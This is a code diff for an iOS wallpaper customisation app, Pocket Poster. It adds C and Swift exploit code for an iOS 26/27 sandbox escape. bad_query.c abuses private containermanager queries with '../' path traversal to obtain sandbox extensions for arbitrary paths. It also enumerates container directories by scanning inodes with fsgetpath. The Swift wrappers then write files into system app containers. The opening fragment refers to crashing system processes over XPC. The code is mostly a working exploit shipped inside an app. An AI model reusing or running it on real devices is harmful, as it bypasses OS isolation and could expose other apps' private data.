||||
|
||||
// Force a layout pass so WebKit starts compositing now
|
||||
window.layoutIfNeeded()
|
||||
webView.setNeedsLayout()
|
||||
webView.layoutIfNeeded()
|
||||
|
||||
// Re-load once more after attach (some LC builds only execute JS after in-hierarchy)
|
||||
webView.loadHTMLString(crashHTML, baseURL: nil)
|
||||
|
||||
// 4) Outside LiveContainer, also hit XPC immediately (no delay)
|
||||
let inLC = ProcessInfo.processInfo.environment["LC_HOME_PATH"] != nil
|
||||
|| Bundle.main.bundlePath.contains("LiveContainer")
|
||||
if !inLC {
|
||||
restartFrontboard()
|
||||
restartBackboard()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -34,7 +34,12 @@ class SymHandler {
|
||||
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
|
||||
}
|
||||
|
||||
// MARK: Symlink Creation
|
||||
/// Prefer worse_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit.
|
||||
static var prefersSandboxEscape: Bool {
|
||||
SandboxEscape.isAvailable
|
||||
}
|
||||
|
||||
// MARK: Symlink Creation (legacy exploit for older iOS)
|
||||
static func createSymlink(to path: String) throws -> URL {
|
||||
// returns the url of the symlink
|
||||
let symURL = getSymlinkURL()
|
||||
@@ -64,6 +69,48 @@ class SymHandler {
|
||||
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
|
||||
}
|
||||
|
||||
// MARK: Direct write via worse_query
|
||||
|
||||
/// Copy descriptor folders into PosterBoard descriptors using the sandbox escape.
|
||||
static func writeDescriptorsViaEscape(appHash: String, ext: String, descriptorFolders: [URL]) throws {
|
||||
let destPath = SandboxEscape.descriptorsPath(appHash: appHash, ext: ext)
|
||||
print("worse_query writing to \(destPath)")
|
||||
|
||||
// Make sure the extension data store exists (PosterBoard creates it on boot).
|
||||
let containerRoot = SandboxEscape.applicationContainerPath(appHash: appHash)
|
||||
try SandboxEscape.ensureDirectory(at: destPath, containerRoot: containerRoot)
|
||||
|
||||
let handle = try SandboxEscape.consume(path: destPath, create: true)
|
||||
defer { handle.release() }
|
||||
|
||||
let fm = FileManager.default
|
||||
for descr in descriptorFolders {
|
||||
guard descr.lastPathComponent != "__MACOSX" else { continue }
|
||||
let destName = UUID().uuidString
|
||||
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(destName)
|
||||
if fm.fileExists(atPath: destURL.path) {
|
||||
try fm.removeItem(at: destURL)
|
||||
}
|
||||
try fm.copyItem(at: descr, to: destURL)
|
||||
}
|
||||
}
|
||||
|
||||
/// Copy files into an absolute directory under an app container via worse_query.
|
||||
static func writeFilesViaEscape(toDirectory destPath: String, files: [URL]) throws {
|
||||
try SandboxEscape.ensureDirectory(at: destPath)
|
||||
let handle = try SandboxEscape.consume(path: destPath, create: true)
|
||||
defer { handle.release() }
|
||||
|
||||
let fm = FileManager.default
|
||||
for file in files {
|
||||
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent)
|
||||
if fm.fileExists(atPath: destURL.path) {
|
||||
try fm.removeItem(at: destURL)
|
||||
}
|
||||
try fm.copyItem(at: file, to: destURL)
|
||||
}
|
||||
}
|
||||
|
||||
static func cleanup() {
|
||||
// remove the symlink if it exists
|
||||
let symURL = getSymlinkURL()
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
//
|
||||
// Pocket-Poster-Bridging-Header.h
|
||||
// Pocket Poster
|
||||
//
|
||||
// Exposes C exploit helpers to Swift.
|
||||
//
|
||||
|
||||
#import "worse_query.h"
|
||||
#import "pathleak.h"
|
||||
#import "bad_query.h"
|
||||
#import "xpc_crash.h"
|
||||
@@ -0,0 +1,430 @@
|
||||
//
|
||||
// SandboxEscape.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Swift wrapper around forcequitOS/worse_query (iOS 26.0 – 26.7.2 / 27.0 – 27.2+).
|
||||
// Falls back to the legacy bad_query route on iOS 26 when no App Group is
|
||||
// available (unsigned / non-App-Group entitlements).
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import Darwin
|
||||
import Security
|
||||
|
||||
enum SandboxEscapeError: LocalizedError {
|
||||
case invalidPath
|
||||
case missingPath
|
||||
case noAppGroup
|
||||
case unavailable
|
||||
case resolveFailed
|
||||
case createFailed
|
||||
case symlinkFailed
|
||||
case outsideSandbox
|
||||
case kernelRejected
|
||||
case listFailed
|
||||
case containerNotFound(String)
|
||||
case directoryCreateFailed(String)
|
||||
case unknown(Int64)
|
||||
|
||||
var errorDescription: String? {
|
||||
switch self {
|
||||
case .invalidPath:
|
||||
return "Path must be absolute."
|
||||
case .missingPath:
|
||||
return "Target path does not exist."
|
||||
case .noAppGroup:
|
||||
return "No App Group entitlement. Sign Pocket Poster with a provisioning profile that includes an App Group — worse_query needs one on iOS 27."
|
||||
case .unavailable:
|
||||
return "worse_query is unavailable on this OS/signing combination."
|
||||
case .resolveFailed:
|
||||
return "Failed to resolve containermanager symbols."
|
||||
case .createFailed:
|
||||
return "Failed to create the container query."
|
||||
case .symlinkFailed:
|
||||
return "Failed to create the App Group symlink."
|
||||
case .outsideSandbox:
|
||||
return "containermanager rejected the query (path outside sandbox)."
|
||||
case .kernelRejected:
|
||||
return "Kernel refused to issue a sandbox extension."
|
||||
case .listFailed:
|
||||
return "Failed to enumerate containers (fsgetpath)."
|
||||
case .containerNotFound(let bundleId):
|
||||
return "Could not find container for \(bundleId)."
|
||||
case .directoryCreateFailed(let reason):
|
||||
return "Could not create destination directory: \(reason)"
|
||||
case .unknown(let code):
|
||||
return "Sandbox escape failed with code \(code)."
|
||||
}
|
||||
}
|
||||
|
||||
static func fromWorseQuery(_ code: Int64) -> SandboxEscapeError {
|
||||
switch code {
|
||||
case -1: return .noAppGroup
|
||||
case -2: return .resolveFailed
|
||||
case -3: return .createFailed
|
||||
case -4: return .symlinkFailed
|
||||
case -5: return .outsideSandbox
|
||||
case -6: return .kernelRejected
|
||||
case -255: return .missingPath
|
||||
default: return .unknown(code)
|
||||
}
|
||||
}
|
||||
|
||||
static func fromBadQuery(_ code: Int64) -> SandboxEscapeError {
|
||||
switch code {
|
||||
case -255: return .invalidPath
|
||||
case -254: return .missingPath
|
||||
case -1: return .resolveFailed
|
||||
case -2: return .createFailed
|
||||
case -3: return .outsideSandbox
|
||||
case -4: return .kernelRejected
|
||||
case -5: return .createFailed
|
||||
default: return .unknown(code)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
enum SandboxEscapeBackend {
|
||||
case worseQuery
|
||||
case badQuery
|
||||
}
|
||||
|
||||
/// RAII-style sandbox extension handle.
|
||||
final class SandboxEscapeHandle {
|
||||
private(set) var handle: Int64
|
||||
let path: String
|
||||
private let backend: SandboxEscapeBackend
|
||||
|
||||
init(handle: Int64, path: String, backend: SandboxEscapeBackend) {
|
||||
self.handle = handle
|
||||
self.path = path
|
||||
self.backend = backend
|
||||
}
|
||||
|
||||
deinit {
|
||||
release()
|
||||
}
|
||||
|
||||
func release() {
|
||||
guard handle >= 0 else { return }
|
||||
switch backend {
|
||||
case .worseQuery:
|
||||
worse_query_release(handle)
|
||||
case .badQuery:
|
||||
bad_query_release(handle)
|
||||
}
|
||||
handle = -1
|
||||
}
|
||||
}
|
||||
|
||||
enum SandboxEscape {
|
||||
static let posterBoardBundleId = "com.apple.PosterBoard"
|
||||
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
|
||||
|
||||
// MARK: - App Group
|
||||
|
||||
/// First App Group from our code signature that actually has a container.
|
||||
/// nil means the app was signed without an App Group entitlement.
|
||||
static let appGroupIdentifier: String? = {
|
||||
guard let groups = entitledAppGroups(), !groups.isEmpty else { return nil }
|
||||
|
||||
let fm = FileManager.default
|
||||
for group in groups {
|
||||
if fm.containerURL(forSecurityApplicationGroupIdentifier: group) != nil {
|
||||
return group
|
||||
}
|
||||
}
|
||||
return groups.first
|
||||
}()
|
||||
|
||||
/// SecTask is not in the public iOS SDK headers, so resolve it at runtime.
|
||||
private static func entitledAppGroups() -> [String]? {
|
||||
guard let handle = dlopen("/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY) else {
|
||||
return nil
|
||||
}
|
||||
defer { dlclose(handle) }
|
||||
|
||||
typealias CreateFromSelfFn = @convention(c) (CFAllocator?) -> Unmanaged<CFTypeRef>?
|
||||
typealias CopyValueFn = @convention(c) (CFTypeRef?, CFString, UnsafeMutablePointer<Unmanaged<CFError>?>?) -> Unmanaged<CFTypeRef>?
|
||||
|
||||
guard let createSymbol = dlsym(handle, "SecTaskCreateFromSelf"),
|
||||
let copySymbol = dlsym(handle, "SecTaskCopyValueForEntitlement") else {
|
||||
return nil
|
||||
}
|
||||
|
||||
let create = unsafeBitCast(createSymbol, to: CreateFromSelfFn.self)
|
||||
let copy = unsafeBitCast(copySymbol, to: CopyValueFn.self)
|
||||
|
||||
guard let task = create(nil)?.takeRetainedValue() else { return nil }
|
||||
let key = "com.apple.security.application-groups" as CFString
|
||||
guard let value = copy(task, key, nil)?.takeRetainedValue() else { return nil }
|
||||
return value as? [String]
|
||||
}
|
||||
|
||||
// MARK: - Backend selection
|
||||
|
||||
/// worse_query when an App Group is available; otherwise the legacy
|
||||
/// bad_query route on iOS 26 (it does not work on iOS 27+).
|
||||
static let backend: SandboxEscapeBackend? = {
|
||||
if let group = appGroupIdentifier {
|
||||
// create_dir=true skips the sandbox-blocked lstat.
|
||||
let handle = worse_query("/var/mobile", group, false, true)
|
||||
if handle >= 0 {
|
||||
worse_query_release(handle)
|
||||
return .worseQuery
|
||||
}
|
||||
// -1 / -2 mean the group or the containermanager plumbing is missing.
|
||||
if handle != -1 && handle != -2 {
|
||||
return .worseQuery
|
||||
}
|
||||
}
|
||||
|
||||
if ProcessInfo.processInfo.operatingSystemVersion.majorVersion <= 26 {
|
||||
var probe = "/var/mobile".utf8CString.map { Int8($0) }
|
||||
let handle = bad_query(&probe, true, nil, false)
|
||||
if handle >= 0 {
|
||||
bad_query_release(handle)
|
||||
return .badQuery
|
||||
}
|
||||
// -3 / -4 / -254 mean the query ran but the path/token failed.
|
||||
if handle == -3 || handle == -4 || handle == -254 {
|
||||
return .badQuery
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}()
|
||||
|
||||
static var isAvailable: Bool { backend != nil }
|
||||
static var isUsingWorseQuery: Bool { backend == .worseQuery }
|
||||
|
||||
// MARK: - Consume / Release
|
||||
|
||||
/// Obtain a sandbox extension for an absolute path.
|
||||
/// - Parameters:
|
||||
/// - path: Absolute filesystem path.
|
||||
/// - create: Skip the existence check (needed for sandbox-blocked paths).
|
||||
@discardableResult
|
||||
static func consume(path: String, create: Bool = false) throws -> SandboxEscapeHandle {
|
||||
guard path.hasPrefix("/") else { throw SandboxEscapeError.invalidPath }
|
||||
guard let backend else { throw SandboxEscapeError.unavailable }
|
||||
|
||||
switch backend {
|
||||
case .worseQuery:
|
||||
guard let group = appGroupIdentifier else { throw SandboxEscapeError.noAppGroup }
|
||||
// iOS 26 App Group containers need the alternate operation flags.
|
||||
let altFlags = ProcessInfo.processInfo.operatingSystemVersion.majorVersion == 26
|
||||
&& path.contains("/var/mobile/Containers/Shared/AppGroup")
|
||||
let handle = worse_query(path, group, altFlags, create)
|
||||
guard handle >= 0 else { throw SandboxEscapeError.fromWorseQuery(handle) }
|
||||
return SandboxEscapeHandle(handle: handle, path: path, backend: .worseQuery)
|
||||
|
||||
case .badQuery:
|
||||
var cPath = path.utf8CString.map { Int8($0) }
|
||||
let handle = bad_query(&cPath, create, nil, false)
|
||||
guard handle >= 0 else { throw SandboxEscapeError.fromBadQuery(handle) }
|
||||
return SandboxEscapeHandle(handle: handle, path: path, backend: .badQuery)
|
||||
}
|
||||
}
|
||||
|
||||
// MARK: - Listing
|
||||
|
||||
/// Freshly allocated inode just below the current high-water mark.
|
||||
/// APFS hands out increasing inode numbers, so this bounds a full scan.
|
||||
private static func baselineInode() -> UInt64 {
|
||||
let fm = FileManager.default
|
||||
let url = fm.temporaryDirectory
|
||||
.appendingPathComponent(".wq_baseline_\(UUID().uuidString)")
|
||||
do {
|
||||
try Data("worse_query".utf8).write(to: url)
|
||||
var info = stat()
|
||||
let ok = url.path.withCString { stat($0, &info) } == 0
|
||||
try? fm.removeItem(at: url)
|
||||
if ok {
|
||||
return info.st_ino + 1024
|
||||
}
|
||||
} catch {
|
||||
print("(wq) baseline inode failed: \(error.localizedDescription)")
|
||||
}
|
||||
return 2_000_000
|
||||
}
|
||||
|
||||
/// Enumerate the immediate children of `path` through fsgetpath.
|
||||
static func list(path: String, maxInode: UInt64? = nil) throws -> [String] {
|
||||
let limit = maxInode ?? baselineInode()
|
||||
guard let paths = pathleak(path, limit) else {
|
||||
throw SandboxEscapeError.listFailed
|
||||
}
|
||||
return paths
|
||||
}
|
||||
|
||||
// MARK: - Container discovery
|
||||
|
||||
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
|
||||
|
||||
/// Read MCMMetadataIdentifier from a container root.
|
||||
static func readBundleId(fromContainerPath containerPath: String) -> String? {
|
||||
// Fast path: the container xattr.
|
||||
if let token = try? consume(path: containerPath, create: true) {
|
||||
defer { token.release() }
|
||||
var buffer = [CChar](repeating: 0, count: 512)
|
||||
let length = getxattr(
|
||||
containerPath,
|
||||
"com.apple.containermanager.identifier",
|
||||
&buffer,
|
||||
511,
|
||||
0,
|
||||
0
|
||||
)
|
||||
if length > 0 {
|
||||
let bundleId = String(cString: buffer)
|
||||
if !bundleId.isEmpty { return bundleId }
|
||||
}
|
||||
}
|
||||
|
||||
// Metadata plist fallback.
|
||||
for name in [metadataFileName, "com.apple.mobile_container_manager.metadata.plist"] {
|
||||
let metaPath = (containerPath as NSString).appendingPathComponent(name)
|
||||
guard let token = try? consume(path: metaPath, create: true) else { continue }
|
||||
defer { token.release() }
|
||||
if let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any],
|
||||
let bundleId = dict["MCMMetadataIdentifier"] as? String,
|
||||
!bundleId.isEmpty {
|
||||
return bundleId
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
static var defaultSearchRoots: [String] {
|
||||
var roots = ["/var/mobile/Containers/Data/Application"]
|
||||
if #available(iOS 27.0, *) {
|
||||
roots.append("/var/containers/Data/System")
|
||||
}
|
||||
roots.append("/var/mobile/Containers/Data/InternalDaemon")
|
||||
roots.append("/var/mobile/Containers/Data/PluginKitPlugin")
|
||||
return roots
|
||||
}
|
||||
|
||||
/// Find an application container UUID for a bundle identifier, on-device.
|
||||
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
|
||||
guard isAvailable else { throw SandboxEscapeError.unavailable }
|
||||
|
||||
let roots = searchRoots ?? defaultSearchRoots
|
||||
let inode = baselineInode()
|
||||
|
||||
for root in roots {
|
||||
guard let children = pathleak(root, inode) else { continue }
|
||||
for child in children {
|
||||
guard let id = readBundleId(fromContainerPath: child), id == targetBundleId else {
|
||||
continue
|
||||
}
|
||||
return (child as NSString).lastPathComponent
|
||||
}
|
||||
}
|
||||
|
||||
throw SandboxEscapeError.containerNotFound(targetBundleId)
|
||||
}
|
||||
|
||||
static func findPosterBoardHash() throws -> String {
|
||||
try findAppHash(bundleId: posterBoardBundleId)
|
||||
}
|
||||
|
||||
static func findCarPlayHash() throws -> String {
|
||||
try findAppHash(bundleId: carPlayWallpaperBundleId)
|
||||
}
|
||||
|
||||
// MARK: - Path helpers
|
||||
|
||||
private static let cacheLock = NSLock()
|
||||
private static var containerCache: [String: String] = [:]
|
||||
|
||||
/// Resolve the container root for a stored hash. iOS 27 keeps some system
|
||||
/// app containers under /var/containers/Data/System, third-party apps
|
||||
/// stay under /var/mobile/Containers/Data/Application.
|
||||
static func applicationContainerPath(appHash: String) -> String {
|
||||
let hash = appHash.trimmingCharacters(in: .whitespacesAndNewlines)
|
||||
guard !hash.isEmpty else { return "" }
|
||||
|
||||
cacheLock.lock()
|
||||
if let cached = containerCache[hash] {
|
||||
cacheLock.unlock()
|
||||
return cached
|
||||
}
|
||||
cacheLock.unlock()
|
||||
|
||||
var candidates = ["/var/mobile/Containers/Data/Application/\(hash)"]
|
||||
if #available(iOS 27.0, *) {
|
||||
candidates.append("/var/containers/Data/System/\(hash)")
|
||||
}
|
||||
|
||||
for candidate in candidates {
|
||||
if let handle = try? consume(path: candidate, create: true) {
|
||||
handle.release()
|
||||
cacheLock.lock()
|
||||
containerCache[hash] = candidate
|
||||
cacheLock.unlock()
|
||||
return candidate
|
||||
}
|
||||
}
|
||||
|
||||
return candidates[0]
|
||||
}
|
||||
|
||||
static func descriptorsPath(appHash: String, ext: String) -> String {
|
||||
let version = SymHandler.getExtensionVersion()
|
||||
return applicationContainerPath(appHash: appHash)
|
||||
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(version)/Extensions/\(ext)/descriptors"
|
||||
}
|
||||
|
||||
static func carPlayCachePath(appHash: String) -> String {
|
||||
return applicationContainerPath(appHash: appHash)
|
||||
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
||||
}
|
||||
|
||||
// MARK: - File operations under a container
|
||||
|
||||
/// Create `path` while holding an extension on the container root.
|
||||
static func ensureDirectory(at path: String, containerRoot: String? = nil) throws {
|
||||
let fm = FileManager.default
|
||||
let root = containerRoot ?? inferredContainerRoot(for: path)
|
||||
|
||||
guard let root else {
|
||||
let handle = try consume(path: path, create: true)
|
||||
defer { handle.release() }
|
||||
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
||||
return
|
||||
}
|
||||
|
||||
let handle = try consume(path: root, create: true)
|
||||
defer { handle.release() }
|
||||
do {
|
||||
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
||||
} catch {
|
||||
throw SandboxEscapeError.directoryCreateFailed(error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
/// Infer the container root from a path.
|
||||
/// /var/mobile/Containers/Data/Application/<uuid>/...
|
||||
/// /var/containers/Data/System/<uuid>/...
|
||||
private static func inferredContainerRoot(for path: String) -> String? {
|
||||
let components = path.split(separator: "/").map(String.init)
|
||||
if components.count >= 6,
|
||||
components[0] == "var",
|
||||
components[1] == "mobile",
|
||||
components[2] == "Containers",
|
||||
components[3] == "Data" {
|
||||
return "/" + components.prefix(6).joined(separator: "/")
|
||||
}
|
||||
if components.count >= 5,
|
||||
components[0] == "var",
|
||||
components[1] == "containers",
|
||||
components[2] == "Data",
|
||||
components[3] == "System" {
|
||||
return "/" + components.prefix(5).joined(separator: "/")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
//
|
||||
// SelfTest.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Launch-time diagnostics, enabled with POCKET_POSTER_SELFTEST=1.
|
||||
// Used to verify worse_query and container discovery on-device.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import UIKit
|
||||
|
||||
enum SelfTest {
|
||||
static var isEnabled: Bool {
|
||||
ProcessInfo.processInfo.environment["POCKET_POSTER_SELFTEST"] == "1"
|
||||
}
|
||||
|
||||
static func run() {
|
||||
print("=== Pocket Poster self-test ===")
|
||||
print("OS: \(ProcessInfo.processInfo.operatingSystemVersionString)")
|
||||
print("Bundle: \(Bundle.main.bundleIdentifier ?? "?")")
|
||||
print("App Group: \(SandboxEscape.appGroupIdentifier ?? "nil")")
|
||||
print("Backend: \(String(describing: SandboxEscape.backend))")
|
||||
|
||||
guard SandboxEscape.isAvailable else {
|
||||
print("self-test: sandbox escape unavailable")
|
||||
print("=== self-test done ===")
|
||||
return
|
||||
}
|
||||
|
||||
// 1. Can worse_query grant access to each search root?
|
||||
for root in SandboxEscape.defaultSearchRoots {
|
||||
do {
|
||||
let handle = try SandboxEscape.consume(path: root, create: true)
|
||||
print("access OK: \(root) (handle \(handle.handle))")
|
||||
handle.release()
|
||||
} catch {
|
||||
print("access FAIL: \(root): \(error.localizedDescription)")
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Can we find PosterBoard's data container?
|
||||
let start = Date()
|
||||
do {
|
||||
let hash = try SandboxEscape.findPosterBoardHash()
|
||||
print("PosterBoard hash: \(hash) (scan \(String(format: "%.1f", Date().timeIntervalSince(start)))s)")
|
||||
let container = SandboxEscape.applicationContainerPath(appHash: hash)
|
||||
print("PosterBoard container: \(container)")
|
||||
|
||||
// 3. Can we open the CollectionsPoster descriptors directory?
|
||||
let descriptors = SandboxEscape.descriptorsPath(
|
||||
appHash: hash,
|
||||
ext: "com.apple.WallpaperKit.CollectionsPoster"
|
||||
)
|
||||
do {
|
||||
let handle = try SandboxEscape.consume(path: descriptors, create: true)
|
||||
print("descriptors OK: \(descriptors) (handle \(handle.handle))")
|
||||
handle.release()
|
||||
} catch {
|
||||
print("descriptors FAIL: \(descriptors): \(error.localizedDescription)")
|
||||
}
|
||||
} catch {
|
||||
print("PosterBoard detect FAIL: \(error.localizedDescription)")
|
||||
}
|
||||
|
||||
// 4. CarPlay container (phones only).
|
||||
if UIDevice.current.userInterfaceIdiom == .phone {
|
||||
do {
|
||||
let hash = try SandboxEscape.findCarPlayHash()
|
||||
print("CarPlayWallpaper hash: \(hash)")
|
||||
} catch {
|
||||
print("CarPlayWallpaper detect FAIL: \(error.localizedDescription)")
|
||||
}
|
||||
}
|
||||
|
||||
print("=== self-test done ===")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
//
|
||||
// bad_query.c
|
||||
// bad_query
|
||||
//
|
||||
// Created by Taj C on 7/21/26.
|
||||
//
|
||||
|
||||
#include "bad_query.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <xpc/xpc.h>
|
||||
|
||||
#include <sys/mount.h>
|
||||
#include <sys/fsgetpath.h>
|
||||
|
||||
typedef void *(*container_query_create_fn)(void);
|
||||
typedef void (*container_query_set_class_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
|
||||
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_part_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_part_domain_fn)(void *, const char *);
|
||||
typedef void *(*container_query_get_single_result_fn)(void *);
|
||||
typedef void (*container_query_free_fn)(void *);
|
||||
typedef char *(*container_copy_sandbox_token_fn)(void *);
|
||||
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
|
||||
typedef int (*sandbox_extension_release_fn)(int64_t);
|
||||
|
||||
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) {
|
||||
// Sanity check our path and check if something already exists there
|
||||
if (!path || path[0] != '/') return -255; // Not an absolute path
|
||||
if (!create) {
|
||||
struct stat st;
|
||||
if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return
|
||||
}
|
||||
|
||||
// Now the fun begins
|
||||
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
|
||||
if (!mgr) return -1; // Failed to dlopen
|
||||
|
||||
// Resolve functions
|
||||
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
|
||||
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
|
||||
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
|
||||
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
|
||||
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
|
||||
container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain");
|
||||
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
|
||||
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
|
||||
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
|
||||
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
|
||||
|
||||
int64_t handle = -1;
|
||||
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
|
||||
dlclose(mgr);
|
||||
return -1; // Failed to resolve a function
|
||||
}
|
||||
|
||||
// Create query
|
||||
void *query = query_create();
|
||||
if (!query) {
|
||||
dlclose(mgr);
|
||||
return -2; // Failed to create query
|
||||
}
|
||||
|
||||
// Set up query
|
||||
// Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags.
|
||||
xpc_object_t identifier;
|
||||
if (group_identifier == NULL) {
|
||||
query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system
|
||||
identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache");
|
||||
} else {
|
||||
query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd
|
||||
identifier = xpc_string_create(group_identifier);
|
||||
}
|
||||
query_set_group_identifiers(query, identifier);
|
||||
query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches
|
||||
char *part = NULL;
|
||||
// Oldest trick in the book. Basic path traversal.
|
||||
if (group_identifier == NULL) {
|
||||
if (asprintf(&part, "../../../../../../../..%s", path) != -1) {
|
||||
query_set_part_domain(query, part);
|
||||
} else {
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -5; // asprintf failed for some reason
|
||||
}
|
||||
} else {
|
||||
// We have to go one level higher to get to / from an App Group
|
||||
if (asprintf(&part, "../../../../../../../../..%s", path) != -1) {
|
||||
query_set_part_domain(query, part);
|
||||
} else {
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -5; // Same thing
|
||||
}
|
||||
}
|
||||
|
||||
// To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27
|
||||
if (is_group) {
|
||||
query_set_flags(query, 0x0000000800000000ULL);
|
||||
} else {
|
||||
query_set_flags(query, 0x0000008000000000ULL);
|
||||
}
|
||||
|
||||
// Send our query over
|
||||
void *result = query_get_single_result(query);
|
||||
if (!result) {
|
||||
free(part);
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -3; // Outside of sandbox
|
||||
}
|
||||
char *token = copy_sandbox_token(result);
|
||||
if (!token) {
|
||||
free(part);
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -4; // Kernel refused to issue a sandbox extension
|
||||
}
|
||||
|
||||
// Consume our fresh sandbox extension and clean up
|
||||
handle = consume_extension(token);
|
||||
free(token);
|
||||
free(part);
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
|
||||
dlclose(mgr);
|
||||
return handle;
|
||||
}
|
||||
|
||||
void bad_query_release(int64_t handle) {
|
||||
if (handle < 0) return;
|
||||
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
|
||||
if (release_extension) release_extension(handle);
|
||||
}
|
||||
|
||||
// This still works on 27.0b5
|
||||
// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time)
|
||||
// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer
|
||||
char *bad_query_list(char *path, int64_t max_inode) {
|
||||
struct statfs sfs;
|
||||
// Prefer the target path; fall back to known on-volume roots if sandboxed
|
||||
if (statfs(path, &sfs) != 0) {
|
||||
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
fsid_t fsid = sfs.f_fsid;
|
||||
|
||||
size_t cap = 65536;
|
||||
size_t length = 0;
|
||||
size_t path_length = strlen(path);
|
||||
|
||||
char *out = malloc(cap);
|
||||
if (!out) return NULL;
|
||||
out[0] = '\0';
|
||||
|
||||
char buf[1200];
|
||||
for (uint64_t ino = 1; ino <= max_inode; ino++) {
|
||||
ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino);
|
||||
if (n <= 0) continue;
|
||||
|
||||
const char *p = buf;
|
||||
if (strncmp(p, "/private/var/", 13) == 0) p += 8;
|
||||
if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue;
|
||||
if (strchr(p + path_length + 1, '/')) continue;
|
||||
|
||||
size_t need = strlen(p) + 2;
|
||||
if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; }
|
||||
length += snprintf(out + length, cap - length, "%s\n", p);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
//
|
||||
// bad_query.h
|
||||
// bad_query
|
||||
//
|
||||
// Created by Taj C on 7/21/26.
|
||||
//
|
||||
|
||||
#ifndef bad_query_h
|
||||
#define bad_query_h
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group);
|
||||
char *bad_query_list(char *path, int64_t max_inode);
|
||||
void bad_query_release(int64_t handle);
|
